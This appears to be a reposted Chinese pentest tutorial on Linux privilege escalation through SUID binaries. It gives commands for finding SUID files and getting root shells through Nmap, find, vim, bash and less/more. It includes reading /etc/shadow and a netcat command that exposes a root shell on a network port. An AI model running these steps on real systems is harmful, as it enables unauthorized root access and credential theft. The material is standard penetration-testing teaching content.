zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    0x01 简介

    SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

    已知的可以用来提权的Linux可执行文件有:

    Nmap、Vim、find、Bash、More、Less、Nano、cp
    

    下面的命令可以发现所有的系统中运行的SUID可执行文件:

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} ; 
    

    上面的所有二进制文件都可以在root权限下运行,因为他们的owner是root,并且他们的权限中含有s。s权限使一般使用者临时具有该文件所属主/组的执行权限。所以这里就可以假冒 root 用户来执行一些高权操作。

    0x02 Nmap

    早版本的Nmap(2.02到5.21)有交互模式,允许用户执行shell命令。Nmap也是root权限下运行的二进制文件。通过参数interactive可以进入交互模式:

    nmap --interactive
    

    下面的命令可以对shell提权:

    nmap> !sh
    sh-3.2# whoami
    root
    

    Metasploit也有利用SUID Nmap进行提权攻击:

    exploit/unix/local/setuid_nmap
    

    0x03 Find

    如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

    touch pentestlab
    find pentestlab -exec whoami ;
    

    主流的Linux操作系统都安装了netcat,可以将该命令提权为root shell。

    find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
    

    当然除了借助 nc 也可以参考其他工具:[Shell]多姿势反弹shell

    0x04 Vim

    如果 vim 以 SUID 运行,就会继承 root 用户的权限,可以读取系统中所有的文件。

    vim.tiny /etc/shadow
    

    通过vim运行shell:

    vim.tiny
    # Press ESC key
    :set shell=/bin/sh
    :shell
    

    0x05 Bash

    下面的命令可以以root权限打开bash shell:

    bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    

    0x06 Less/More

    Less 和 more 都可以执行提权的shell

    less /etc/passwd
    !/bin/sh
    

    0x07 参考链接

    https://www.freebuf.com/articles/system/149118.html
    https://pentestlab.blog/2017/09/25/suid-executables/

  • 相关阅读:
    HTML5
    PHP
    eclipse项目导入到android studio
    Jpush教材
    Android性能优化典范
    Fresco好案例
    扫二维码关注微信号,回复“送礼包”就送超值大礼!
    Android开源项目大全之工具库
    android学习“知乎”建议
    C# Json时间类型的转换
  • 原文地址:https://www.cnblogs.com/-mo-/p/12194099.html
Copyright © 2011-2022 走看看